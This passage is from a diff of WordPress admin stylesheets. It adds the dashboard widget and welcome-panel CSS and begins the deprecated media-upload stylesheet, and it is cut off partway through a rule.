+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1 {
+	width: 33%;
+}
+
+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,
+#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4 {
+	float: right;
+}
+
+#wpbody-content #dashboard-widgets.columns-4 .postbox-container {
+	width: 25%;
+}
+
+#dashboard-widgets .postbox-container {
+	width: 25%;
+}
+
+#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container {
+	border: none !important;
+}
+
+.ie8 #wpbody-content #dashboard-widgets .postbox-container {
+	width: 49.5%;
+}
+
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-2,
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-3,
+.ie8 #wpbody-content #dashboard-widgets #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+.ie8 #dashboard-widgets #postbox-container-3 .empty-container,
+.ie8 #dashboard-widgets #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+#dashboard-widgets-wrap {
+	overflow: hidden;
+	margin: 0 -8px;
+}
+
+#dashboard-widgets .postbox .inside {
+	margin-bottom: 0;
+}
+
+#dashboard-widgets .meta-box-sortables {
+	margin: 0 8px;
+	min-height: 100px;
+}
+
+/* @todo: this was originally in this section, but likely belongs elsewhere */
+#the-comment-list td.comment p.comment-author {
+	margin-top: 0;
+	margin-left: 0;
+}
+
+#the-comment-list p.comment-author img {
+	float: left;
+	margin-right: 8px;
+}
+
+#the-comment-list p.comment-author strong a {
+	border: none;
+}
+
+#the-comment-list td {
+	vertical-align: top;
+}
+
+#the-comment-list td.comment {
+	word-wrap: break-word;
+}
+
+#the-comment-list td.comment img {
+	max-width: 100%;
+}
+
+/* Welcome Panel */
+.welcome-panel {
+	position: relative;
+	overflow: auto;
+	margin: 16px 0;
+	padding: 23px 10px 0;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+	font-size: 13px;
+	line-height: 2.1em;
+}
+
+.welcome-panel h2 {
+	margin: 0;
+	font-size: 21px;
+	font-weight: 400;
+	line-height: 1.2;
+}
+
+.welcome-panel h3 {
+	margin: 1.33em 0 0;
+	font-size: 16px;
+}
+
+.welcome-panel li {
+	font-size: 14px;
+}
+
+.welcome-panel p {
+	color: #72777c;
+}
+
+.welcome-panel a {
+	text-decoration: none;
+}
+
+.welcome-panel .about-description {
+	font-size: 16px;
+	margin: 0;
+}
+
+.welcome-panel .welcome-panel-close {
+	position: absolute;
+	z-index: 10;
+	top: 10px;
+	right: 10px;
+	padding: 10px 15px 10px 21px;
+	font-size: 13px;
+	line-height: 1.23076923; /* Chrome rounding, needs to be 16px equivalent */
+	text-decoration: none;
+}
+
+.welcome-panel .welcome-panel-close:before {
+	position: absolute;
+	top: 8px;
+	left: 0;
+	transition: all .1s ease-in-out;
+}
+
+.wp-core-ui .welcome-panel .button.button-hero {
+	margin: 15px 13px 3px 0;
+	padding: 12px 36px;
+	height: auto;
+	line-height: 1.4285714;
+	white-space: normal;
+}
+
+.welcome-panel-content {
+	margin: 0 13px;
+	max-width: 1500px;
+}
+
+.welcome-panel .welcome-panel-column-container {
+	clear: both;
+	position: relative;
+}
+
+.welcome-panel .welcome-panel-column {
+	width: 32%;
+	min-width: 200px;
+	float: left;
+}
+
+.ie8 .welcome-panel .welcome-panel-column {
+	min-width: 230px;
+}
+
+.welcome-panel .welcome-panel-column:first-child {
+	width: 36%;
+}
+
+.welcome-panel-column p.hide-if-no-customize {
+	margin-top: 10px;
+}
+
+.welcome-panel-column p {
+	margin-top: 7px;
+	color: #444;
+}
+
+.welcome-panel .welcome-widgets-menus {
+	line-height: 16px;
+}
+
+.welcome-panel .welcome-panel-column ul {
+		margin: 0.8em 1em 1em 0;
+}
+
+.welcome-panel .welcome-panel-column li {
+	line-height: 16px;
+	list-style-type: none;
+	padding: 0 0 8px;
+}
+
+.welcome-panel .welcome-icon {
+	background: transparent !important;
+}
+
+/* Welcome Panel and Right Now common Icons style */
+
+.welcome-panel .welcome-icon:before,
+#dashboard_right_now li a:before,
+#dashboard_right_now li span:before {
+	color: #82878c;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: inline-block;
+	padding: 0 10px 0 0;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	vertical-align: top;
+}
+
+/* Welcome Panel specific Icons styles */
+
+.welcome-panel .welcome-write-blog:before,
+.welcome-panel .welcome-edit-page:before {
+	content: "\f119";
+	top: -3px;
+}
+
+.welcome-panel .welcome-add-page:before {
+	content: "\f132";
+	top: -1px;
+}
+
+.welcome-panel .welcome-view-site:before {
+	content: "\f115";
+	top: -2px;
+}
+
+.welcome-panel .welcome-widgets-menus:before {
+	content: "\f116";
+	top: -2px;
+}
+
+.welcome-panel .welcome-comments:before {
+	content: "\f117";
+	top: -1px;
+}
+
+.welcome-panel .welcome-learn-more:before {
+	content: "\f118";
+	top: -1px;
+}
+
+/* Right Now specific Icons styles */
+
+#dashboard_right_now li a:before,
+#dashboard_right_now li > span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */
+	content: "\f159"; /* generic icon for items added by CPTs ? */
+	padding: 0 5px 0 0;
+}
+
+#dashboard_right_now .page-count a:before,
+#dashboard_right_now .page-count span:before {
+	content: "\f105";
+}
+
+#dashboard_right_now .post-count a:before,
+#dashboard_right_now .post-count span:before {
+	content: "\f109";
+}
+
+#dashboard_right_now .comment-count a:before {
+	content: "\f101";
+}
+
+#dashboard_right_now .comment-mod-count a:before {
+	content: "\f125";
+}
+
+#dashboard_right_now .storage-count a:before {
+	content: "\f104";
+}
+
+#dashboard_right_now .storage-count.warning a:before {
+	content: "\f153";
+}
+
+/* Dashboard WordPress events */
+
+.community-events-errors {
+	margin: 0;
+}
+
+.community-events-loading {
+	padding: 10px 12px 8px;
+}
+
+.community-events {
+	margin-bottom: 6px;
+	padding: 0 12px;
+}
+
+.community-events .spinner {
+	float: none;
+	margin: 5px 2px 0;
+	vertical-align: top;
+}
+
+.community-events-errors[aria-hidden="true"],
+.community-events-errors [aria-hidden="true"],
+.community-events-loading[aria-hidden="true"],
+.community-events[aria-hidden="true"],
+.community-events [aria-hidden="true"] {
+	display: none;
+}
+
+.community-events .activity-block:first-child,
+.community-events h2 {
+	padding-top: 12px;
+	padding-bottom: 10px;
+}
+
+.community-events-form {
+	margin: 15px 0 5px;
+}
+
+.community-events-form .regular-text {
+	width: 40%;
+	height: 29px;
+	margin: 0;
+	vertical-align: top;
+}
+
+.community-events li.event-none {
+	border-left: 4px solid #00a0d2;
+}
+
+.community-events-form label {
+	display: inline-block;
+	vertical-align: top;
+	line-height: 28px;
+	height: 28px;
+}
+
+.community-events .activity-block > p {
+	margin-bottom: 0;
+	display: inline;
+}
+
+.community-events-toggle-location {
+	vertical-align: middle;
+}
+
+#community-events-submit {
+	margin-left: 3px;
+	margin-right: 3px;
+}
+
+/* Needs higher specificity than #dashboard-widgets .button-link */
+#dashboard-widgets .community-events-cancel.button-link {
+	vertical-align: top;
+	/* Same properties as the submit button for cross-browsers alignment. */
+	line-height: 26px;
+	height: 28px;
+	text-decoration: underline;
+}
+
+.community-events ul {
+	background-color: #fafafa;
+	padding-left: 0;
+	padding-right: 0;
+	padding-bottom: 0;
+}
+
+.community-events li {
+	margin: 0;
+	padding: 8px 12px;
+	color: #72777c;
+}
+.community-events li:first-child {
+	border-top: 1px solid #eee;
+}
+
+.community-events li ~ li {
+	border-top: 1px solid #eee;
+}
+
+.community-events .activity-block.last {
+	border-bottom: 1px solid #eee;
+	padding-top: 0;
+	margin-top: -1px;
+}
+
+.community-events .event-info {
+	display: block;
+}
+
+.event-icon {
+	height: 18px;
+	padding-right: 10px;
+	width: 18px;
+	display: none; /* Hide on smaller screens */
+}
+
+.event-icon:before {
+	color: #82878C;
+	font-size: 18px;
+}
+.event-meetup .event-icon:before {
+	content: "\f484";
+}
+.event-wordcamp .event-icon:before {
+	content: "\f486";
+}
+
+.community-events .event-title {
+	font-weight: 600;
+	display: block;
+}
+
+.community-events .event-date,
+.community-events .event-time {
+	display: block;
+}
+
+.community-events-footer {
+	margin-top: 0;
+	margin-bottom: 0;
+	padding: 12px;
+	border-top: 1px solid #eee;
+	color: #ddd;
+}
+
+/* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */
+.community-events-footer .screen-reader-text {
+	height: inherit;
+	white-space: nowrap;
+}
+
+/* Dashboard WordPress news */
+
+#dashboard_primary .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#dashboard_primary .widget-loading {
+	padding: 12px 12px 0;
+	margin-bottom: 1em !important; /* Needs to override `.postbox .inside > p:last-child` in common.css */
+}
+
+/* Notice when JS is off. */
+#dashboard_primary .inside .notice {
+	margin: 0;
+}
+
+body #dashboard-widgets .postbox form .submit {
+	margin: 0;
+}
+
+/* Used only for configurable widgets. */
+.dashboard-widget-control-form p {
+	margin-top: 0;
+}
+
+.rssSummary {
+	color: #72777c;
+	margin-top: 4px;
+}
+
+#dashboard_primary .rss-widget {
+	font-size: 13px;
+	padding: 0 12px 0;
+}
+
+#dashboard_primary .rss-widget:last-child {
+	border-bottom: none;
+	padding-bottom: 8px;
+}
+
+#dashboard_primary .rss-widget a {
+	font-weight: 400;
+}
+
+#dashboard_primary .rss-widget span,
+#dashboard_primary .rss-widget span.rss-date {
+	color: #72777c;
+}
+
+#dashboard_primary .rss-widget span.rss-date {
+	margin-left: 12px;
+}
+
+#dashboard_primary .rss-widget ul li {
+	padding: 4px 0;
+	margin: 0;
+}
+
+/* Dashboard right now */
+
+#dashboard_right_now ul {
+	margin: 0;
+	/* contain floats but don't use overflow: hidden */
+	display: inline-block;
+	width: 100%;
+}
+
+#dashboard_right_now li {
+	width: 50%;
+	float: left;
+	margin-bottom: 10px;
+}
+
+#dashboard_right_now .inside {
+	padding: 0;
+}
+
+#dashboard_right_now .main {
+	padding: 0 12px 11px;
+}
+
+#dashboard_right_now .main p {
+	margin: 0;
+}
+
+#dashboard_right_now #wp-version-message .button {
+	float: right;
+	position: relative;
+	top: -5px;
+	margin-left: 5px;
+}
+
+.mu-storage {
+	overflow: hidden;
+}
+
+#dashboard-widgets h3.mu-storage {
+	margin: 0 0 10px;
+	padding: 0;
+	font-size: 14px;
+	font-weight: 400;
+}
+
+/* Dashboard right now - Colors */
+
+#dashboard_right_now .sub {
+	color: #555d66;
+	background: #f5f5f5;
+	border-top: 1px solid #eee;
+	padding: 10px 12px 6px 12px;
+}
+
+#dashboard_right_now .sub h3 {
+	color: #555;
+}
+
+#dashboard_right_now .sub p {
+	margin: 0 0 1em;
+}
+
+#dashboard_right_now .warning a:before,
+#dashboard_right_now .warning span:before {
+	color: #d54e21;
+}
+
+/* Dashboard Quick Draft */
+
+#dashboard_quick_press .inside {
+	margin: 0;
+	padding: 0;
+}
+
+#dashboard_quick_press div.updated {
+	margin-bottom: 10px;
+	border: 1px solid #eee;
+	border-width: 1px 1px 1px 0;
+}
+
+#dashboard_quick_press form {
+	margin: 12px;
+}
+
+#dashboard_quick_press .drafts,
+#dashboard_quick_press .easy-blogging {
+	padding: 10px 0 0;
+}
+
+/* Dashboard Quick Draft - Form styling */
+
+input#save-post {
+	float: left;
+}
+
+form.initial-form.quickpress-open label.prompt {
+	font-style: normal;
+}
+
+form.initial-form.quickpress-open input#title {
+	height: auto;
+}
+
+#dashboard_quick_press input,
+#dashboard_quick_press textarea {
+	box-sizing: border-box;
+	margin: 0;
+}
+
+#dashboard_quick_press textarea {
+	resize: vertical;
+}
+
+#dashboard-widgets .postbox form .submit {
+	margin: -39px 0;
+	float: right;
+}
+
+#description-wrap {
+	margin-top: 12px;
+}
+
+#title-wrap #title-prompt-text,
+.textarea-wrap #content-prompt-text {
+	color: #72777c;
+}
+
+#title-wrap #title-prompt-text {
+	font-size: 1.1em;
+	padding: 7px 8px;
+}
+
+.input-text-wrap,
+.textarea-wrap {
+	position: relative;
+}
+
+.input-text-wrap .prompt,
+.textarea-wrap .prompt {
+	position: absolute;
+}
+
+.textarea-wrap #content-prompt-text {
+	font-size: 1.1em;
+	padding: 7px 8px;
+}
+
+.textarea-wrap textarea#content {
+	margin: 0 0 8px;
+	padding: 6px 7px;
+}
+
+#quick-press textarea#content {
+	min-height: 90px;
+	max-height: 1300px;
+	resize: none;
+}
+
+/* Dashboard Quick Draft - Drafts list */
+
+.js #dashboard_quick_press .drafts {
+	border-top: 1px solid #eee;
+}
+
+#dashboard_quick_press .drafts abbr {
+	border: none;
+}
+
+#dashboard_quick_press .drafts .view-all {
+	float: right;
+	margin: 0 12px 0 0;
+}
+
+#dashboard_primary a.rsswidget {
+	font-weight: 400;
+}
+
+#dashboard_quick_press .drafts ul {
+	margin: 0 12px;
+}
+
+#dashboard_quick_press .drafts li {
+	margin-bottom: 1em;
+}
+#dashboard_quick_press .drafts li time {
+	color: #72777c;
+}
+
+#dashboard_quick_press .drafts p {
+	margin: 0;
+	word-wrap: break-word;
+}
+
+#dashboard_quick_press .draft-title {
+	word-wrap: break-word;
+}
+
+#dashboard_quick_press .draft-title a,
+#dashboard_quick_press .draft-title time {
+	margin: 0 5px 0 0;
+}
+
+/* Dashboard common styles */
+
+#dashboard-widgets h4, /* Back-compat for pre-4.4 */
+#dashboard-widgets h3,
+#dashboard_quick_press .drafts h2 {
+	margin: 0 12px 8px;
+	padding: 0;
+	font-size: 14px;
+	font-weight: 400;
+	color: #23282d;
+}
+
+#dashboard_quick_press .drafts h2 {
+	line-height: inherit;
+}
+
+#dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */
+#dashboard-widgets .inside h3 {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/* Dashboard activity widget */
+
+#dashboard_activity .comment-meta span.approve:before {
+	content: "\f227";
+	font: 20px/.5 dashicons;
+	margin-left: 5px;
+	vertical-align: middle;
+	position: relative;
+	top: -1px;
+	margin-right: 2px;
+}
+
+#dashboard_activity .inside {
+	margin: 0;
+	padding-bottom: 0;
+}
+
+#dashboard_activity .no-activity {
+	overflow: hidden;
+	padding: 0 0 12px;
+	text-align: center;
+}
+
+#dashboard_activity .no-activity p {
+	color: #72777c;
+	font-size: 16px;
+}
+
+#dashboard_activity .no-activity .smiley {
+	margin-top: 0;
+}
+
+#dashboard_activity .no-activity .smiley:before {
+	content: "\f328";
+	font: normal 120px/1 dashicons;
+	speak: none;
+	display: block;
+	margin: 0 5px 0 0;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	text-decoration: none !important;
+}
+
+#dashboard_activity .subsubsub {
+	float: none;
+	border-top: 1px solid #eee;
+	margin: 0 -12px;
+	padding: 8px 12px 4px;
+}
+
+#dashboard_activity .subsubsub a .count,
+#dashboard_activity .subsubsub a.current .count {
+	color: #72777c; /* white background on the dashboard but #f1f1f1 on list tables */
+}
+
+#future-posts ul,
+#published-posts ul {
+	clear: both;
+	margin-bottom: 0;
+}
+
+#future-posts li,
+#published-posts li {
+	margin-bottom: 8px;
+}
+
+#future-posts ul span,
+#published-posts ul span {
+	display: inline-block;
+	margin-right: 5px;
+	min-width: 150px;
+	color: #72777c;
+}
+
+.activity-block {
+	border-bottom: 1px solid #eee;
+	margin: 0 -12px;
+	padding: 8px 12px 4px;
+}
+
+.activity-block:last-child {
+	border-bottom: none;
+}
+
+.activity-block .subsubsub li {
+	color: #ddd;
+}
+
+/* Dashboard activity widget - Comments */
+/* @todo: needs serious de-duplication */
+
+#activity-widget #the-comment-list tr.undo,
+#activity-widget #the-comment-list div.undo {
+	background: none;
+	padding: 6px 0;
+	margin-left: 12px;
+}
+
+#activity-widget #the-comment-list .comment-item {
+	background: #fafafa;
+	padding: 12px;
+	position: relative;
+}
+
+#activity-widget #the-comment-list .avatar {
+	position: absolute;
+	top: 12px;
+}
+
+#activity-widget #the-comment-list .dashboard-comment-wrap {
+	padding-left: 63px;
+}
+
+#activity-widget #the-comment-list .dashboard-comment-wrap blockquote {
+	margin: 1em 0;
+}
+
+#activity-widget #the-comment-list .comment-item p.row-actions {
+	margin: 4px 0 0 0;
+}
+
+#activity-widget #the-comment-list .comment-item:first-child {
+	border-top: 1px solid #eeeeee;
+}
+
+#activity-widget #the-comment-list .unapproved {
+	background-color: #fef7f1;
+}
+
+#activity-widget #the-comment-list .unapproved:before {
+	content: "";
+	display: block;
+	position: absolute;
+	left: 0;
+	top: 0;
+	bottom: 0;
+	background: #d54e21;
+	width: 4px;
+}
+
+#activity-widget #the-comment-list .spam-undo-inside .avatar,
+#activity-widget #the-comment-list .trash-undo-inside .avatar {
+	position: relative;
+	top: 0;
+}
+
+/* Browse happy box */
+
+#dashboard-widgets #dashboard_browser_nag.postbox .inside {
+	margin: 10px;
+}
+
+.postbox .button-link .edit-box {
+	display: none;
+}
+
+.edit-box {
+	opacity: 0;
+}
+
+.hndle:hover .edit-box,
+.edit-box:focus {
+	opacity: 1;
+}
+
+#dashboard-widgets form .input-text-wrap input {
+	width: 100%;
+}
+
+#dashboard-widgets form .textarea-wrap textarea {
+	width: 100%;
+}
+
+#dashboard-widgets .postbox form .submit {
+	float: none;
+	margin: .5em 0 0;
+	padding: 0;
+	border: none;
+}
+
+#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
+	min-width: 0;
+}
+
+#dashboard-widgets a,
+#dashboard-widgets .button-link {
+	text-decoration: none;
+}
+
+#dashboard-widgets h2 a {
+	text-decoration: underline;
+}
+
+#dashboard-widgets .hndle .postbox-title-action {
+	float: right;
+	line-height: 1.2;
+}
+
+#dashboard_plugins h5 {
+	font-size: 14px;
+}
+
+/* Recent Comments */
+
+#latest-comments #the-comment-list {
+	position: relative;
+	margin: 0 -12px;
+}
+
+#activity-widget #the-comment-list .comment,
+#activity-widget #the-comment-list .pingback {
+	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
+}
+
+#activity-widget .comments #the-comment-list .alt {
+	background-color: transparent;
+}
+
+#activity-widget #latest-comments #the-comment-list .comment-item {
+	/* the row-actions paragraph is output only for users with 'edit_comment' capabilities,
+	   for other users this needs a min height equal to the gravatar image */
+	min-height: 50px;
+	margin: 0;
+	padding: 12px;
+}
+
+#latest-comments #the-comment-list .pingback {
+	padding-left: 12px !important;
+}
+
+#latest-comments #the-comment-list .comment-item:first-child {
+	border-top: none;
+}
+
+#latest-comments #the-comment-list .comment-meta {
+	line-height: 1.5em;
+	margin: 0;
+	color: #666;
+}
+
+#latest-comments #the-comment-list .comment-meta cite {
+	font-style: normal;
+	font-weight: 400;
+}
+
+#latest-comments #the-comment-list .comment-item blockquote,
+#latest-comments #the-comment-list .comment-item blockquote p {
+	margin: 0;
+	padding: 0;
+	display: inline;
+}
+
+#latest-comments #the-comment-list .comment-item p.row-actions {
+	margin: 3px 0 0;
+	padding: 0;
+	font-size: 13px;
+}
+
+/* QuickDraft */
+
+#title-wrap label,
+#description-wrap label {
+	cursor: text;
+}
+
+#title-wrap #title {
+	padding: 2px 6px;
+	font-size: 1.3em;
+	outline: none;
+}
+
+#title-wrap #title-prompt-text {
+	font-size: 1.1em;
+	padding: 5px 8px;
+}
+
+/* Feeds */
+.rss-widget ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+a.rsswidget {
+	font-size: 13px;
+	font-weight: 600;
+	line-height: 1.4em;
+}
+
+.rss-widget ul li {
+	line-height: 1.5em;
+	margin-bottom: 12px;
+}
+
+.rss-widget span.rss-date {
+	color: #72777c;
+	font-size: 13px;
+	margin-left: 3px;
+}
+
+.rss-widget cite {
+	display: block;
+	text-align: right;
+	margin: 0 0 1em;
+	padding: 0;
+}
+
+.rss-widget cite:before {
+	content: "\2014";
+}
+
+.dashboard-comment-wrap {
+	word-wrap: break-word;
+}
+
+/* Browser Nag */
+#dashboard_browser_nag a.update-browser-link {
+	font-size: 1.2em;
+	font-weight: 600;
+}
+
+#dashboard_browser_nag a {
+	text-decoration: underline;
+}
+
+#dashboard_browser_nag p.browser-update-nag.has-browser-icon {
+	padding-right: 125px;
+}
+
+#dashboard_browser_nag .browser-icon {
+	margin-top: -35px;
+}
+
+#dashboard_browser_nag.postbox.browser-insecure {
+	background-color: #ac1b1b;
+	border-color: #ac1b1b;
+}
+
+#dashboard_browser_nag.postbox {
+	background-color: #e29808;
+	background-image: none;
+	border-color: #edc048;
+	color: #fff;
+	box-shadow: none;
+}
+
+#dashboard_browser_nag.postbox.browser-insecure h2 {
+	border-bottom-color: #cd5a5a;
+	color: #fff;
+}
+
+#dashboard_browser_nag.postbox h2 {
+	border-bottom-color: #f6e2ac;
+	background: transparent none;
+	color: #fff;
+	box-shadow: none;
+}
+
+#dashboard_browser_nag a {
+	color: #fff;
+}
+
+#dashboard_browser_nag h2.hndle {
+	border: none;
+	font-weight: 600;
+	font-size: 20px;
+	padding-top: 10px;
+}
+
+.postbox#dashboard_browser_nag p a.dismiss {
+	font-size: 14px;
+}
+
+.postbox#dashboard_browser_nag p,
+.postbox#dashboard_browser_nag a,
+.postbox#dashboard_browser_nag p.browser-update-nag {
+	font-size: 16px;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/* one column on the dash */
+@media only screen and (max-width: 799px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 100%;
+	}
+}
+
+/* two columns on the dash, but keep the setting if one is selected */
+@media only screen and (min-width: 800px) and (max-width: 1499px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 49.5%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-2,
+	#wpbody-content #dashboard-widgets #postbox-container-3,
+	#wpbody-content #dashboard-widgets #postbox-container-4 {
+		float: right;
+		width: 50.5%;
+	}
+
+	#dashboard-widgets #postbox-container-3 .empty-container,
+	#dashboard-widgets #postbox-container-4 .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	#dashboard-widgets #postbox-container-3 .empty-container:after,
+	#dashboard-widgets #postbox-container-4 .empty-container:after {
+		display: none;
+	}
+
+	#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container {
+		width: 100%;
+	}
+
+	#wpbody #wpbody-content .metabox-holder.columns-1 .postbox-container .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	/* show the radio buttons for column prefs only for one or two columns */
+	.index-php .screen-layout,
+	.index-php .columns-prefs {
+		display: block;
+	}
+
+	.columns-prefs .columns-prefs-3,
+	.columns-prefs .columns-prefs-4 {
+		display: none;
+	}
+
+	.metabox-holder .postbox-container .empty-container:after {
+		display: block;
+	}
+}
+
+/* three columns on the dash */
+@media only screen and (min-width: 1500px) and (max-width: 1800px) {
+	#wpbody-content #dashboard-widgets .postbox-container {
+		width: 33.5%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-1 {
+		width: 33%;
+	}
+
+	#wpbody-content #dashboard-widgets #postbox-container-3,
+	#wpbody-content #dashboard-widgets #postbox-container-4 {
+		float: right;
+	}
+
+	#dashboard-widgets #postbox-container-4 .empty-container {
+		border: 0 none;
+		height: 0;
+		min-height: 0;
+	}
+
+	#dashboard-widgets #postbox-container-4 .empty-container:after {
+		display: none;
+	}
+
+	.metabox-holder .postbox-container .empty-container:after {
+		display: block;
+	}
+}
+
+@media screen and (max-width: 870px) {
+	.welcome-panel .welcome-panel-column,
+	.welcome-panel .welcome-panel-column:first-child {
+		display: block;
+		float: none;
+		width: 100%;
+	}
+
+	.welcome-panel .welcome-panel-column li {
+		display: inline-block;
+		margin-right: 13px;
+	}
+
+	.welcome-panel .welcome-panel-column ul {
+		margin: 0.4em 0 0;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	#dashboard_recent_comments #the-comment-list .comment-item .avatar {
+		height: 30px;
+		width: 30px;
+		margin: 4px 10px 5px 0;
+	}
+
+	.community-events-toggle-location {
+		height: 38px;
+		vertical-align: baseline;
+	}
+
+	.community-events-form .regular-text {
+		height: 32px;
+	}
+
+	#community-events-submit {
+		margin-bottom: 0;
+		/* Override .wp-core-ui .button */
+		vertical-align: top;
+	}
+
+	.community-events-form label,
+	#dashboard-widgets .community-events-cancel.button-link {
+		/* Same properties as the submit button for cross-browsers alignment. */
+		font-size: 14px;
+		line-height: normal;
+		height: auto;
+		padding: 6px 0;
+		border: 1px solid transparent;
+	}
+
+	.community-events .spinner {
+		margin-top: 7px;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Keep the close icon from overlapping the Welcome text. */
+	.welcome-panel .welcome-panel-close {
+		overflow: hidden;
+		text-indent: 40px;
+		white-space: nowrap;
+		width: 20px;
+		height: 20px;
+		padding: 5px;
+		top: 5px;
+		right: 5px;
+	}
+
+	/* Make the close icon larger for tappability. */
+	.welcome-panel .welcome-panel-close:before {
+		font-size: 20px;
+		top: 5px;
+		left: -35px;
+	}
+}
+
+@media screen and (min-width: 355px) {
+	.community-events .event-info {
+		display: table-row;
+		float: left;
+		max-width: 59%;
+	}
+
+	.event-icon,
+	.event-icon[aria-hidden="true"] {
+		display: table-cell;
+	}
+
+	.event-info-inner {
+		display: table-cell;
+	}
+
+	.community-events .event-date-time {
+		float: right;
+		max-width: 39%;
+	}
+
+	.community-events .event-date,
+	.community-events .event-time {
+		text-align: right;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/deprecated-media.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/deprecated-media.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/deprecated-media.css	(revision 56912)
@@ -0,0 +1,413 @@
+/* Styles for the media library iframe (not used on the Library screen) */
+
+div#media-upload-header {
+	margin: 0;
+	padding: 5px 5px 0;
+	font-weight: 600;
+	position: relative;
+	border-bottom: 1px solid #ddd;
+	background: #f9f9f9;
+}
+
+#sidemenu {
+	overflow: hidden;
+	float: none;
+	position: relative;
+	left: 0;
+	bottom: -1px;
+	margin: 0 5px;
+	padding-left: 10px;
+	list-style: none;
+	font-size: 12px;
+	font-weight: 400;
+}
+
+#sidemenu a {
+	padding: 0 7px;
+	display: block;
+	float: left;
+	line-height: 28px;
+	border-top: 1px solid #f9f9f9;
+	border-bottom: 1px solid #ddd;
+	background-color: #f9f9f9;
+	text-decoration: none;
+	transition: none;
+}
+
+#sidemenu li {
+	display: inline;
+	line-height: 200%;
+	list-style: none;
+	text-align: center;
+	white-space: nowrap;
+	margin: 0;
+	padding: 0;
+}
+
+#sidemenu a.current {
+	font-weight: 400;
+	padding-left: 6px;
+	padding-right: 6px;
+	border: 1px solid #ddd;
+	border-bottom-color: #f1f1f1;
+	background-color: #f1f1f1;
+	color: #000;
+}
+
+#media-upload:after { /* clearfix */
+	content: "";
+	display: table;
+	clear: both;
+}
+
+#media-upload .slidetoggle {
+	border-top-color: #ddd;
+}
+
+#media-upload input[type="radio"] {
+	padding: 0;
+}
+
+.media-upload-form label.form-help,
+td.help {
+	color: #72777c;
+}
+
+form {
+	margin: 1em;
+}
+
+#search-filter {
+	text-align: right;
+}
+
+th {
+	position: relative;
+}
+
+.media-upload-form label.form-help, td.help {
+	font-family: sans-serif;
+	font-style: italic;
+	font-weight: 400;
+}
+
+.media-upload-form p.help {
+	margin: 0;
+	padding: 0;
+}
+
+.media-upload-form fieldset {
+	width: 100%;
+	border: none;
+	text-align: justify;
+	margin: 0 0 1em 0;
+	padding: 0;
+}
+
+/* specific to the image upload form */
+
+.image-align-none-label {
+	background: url(../images/align-none.png) no-repeat center left;
+}
+
+.image-align-left-label {
+	background: url(../images/align-left.png) no-repeat center left;
+}
+
+.image-align-center-label {
+	background: url(../images/align-center.png) no-repeat center left;
+}
+
+.image-align-right-label {
+	background: url(../images/align-right.png) no-repeat center left;
+}
+
+tr.image-size td {
+	width: 460px;
+}
+
+tr.image-size div.image-size-item {
+	margin: 0 0 5px;
+}
+
+#library-form .progress,
+#gallery-form .progress,
+.insert-gallery,
+.describe.startopen,
+.describe.startclosed {
+	display: none;
+}
+
+.media-item .thumbnail {
+	max-width: 128px;
+	max-height: 128px;
+}
+
+thead.media-item-info tr {
+	background-color: transparent;
+}
+
+.form-table thead.media-item-info {
+	border: 8px solid #fff;
+}
+
+abbr.required,
+span.required {
+	text-decoration: none;
+	border: none;
+}
+
+.describe label {
+	display: inline;
+}
+
+.describe td.error {
+	padding: 2px 8px;
+}
+
+.describe td.A1 {
+	width: 132px;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	width: 460px;
+	border-width: 1px;
+	border-style: solid;
+}
+
+/* Specific to Uploader */
+
+#media-upload p.ml-submit {
+	padding: 1em 0;
+}
+
+#media-upload p.help,
+#media-upload label.help {
+	font-family: sans-serif;
+	font-style: italic;
+	font-weight: 400;
+}
+
+#media-upload .ui-sortable .media-item {
+	cursor: move;
+}
+
+#media-upload tr.image-size {
+	margin-bottom: 1em;
+	height: 3em;
+}
+
+#media-upload #filter {
+	width: 623px;
+}
+
+#media-upload #filter .subsubsub {
+	margin: 8px 0;
+}
+
+#filter .tablenav select {
+	border-style: solid;
+	border-width: 1px;
+	padding: 2px;
+	vertical-align: top;
+	width: auto;
+}
+
+#media-upload .del-attachment {
+	display: none;
+	margin: 5px 0;
+}
+
+.menu_order {
+	float: right;
+	font-size: 11px;
+	margin: 8px 10px 0;
+}
+
+.menu_order_input {
+	border: 1px solid #ddd;
+	font-size: 10px;
+	padding: 1px;
+	width: 23px;
+}
+
+.ui-sortable-helper {
+	background-color: #fff;
+	border: 1px solid #a0a5aa;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#media-upload th.order-head {
+	width: 20%;
+	text-align: center;
+}
+
+#media-upload th.actions-head {
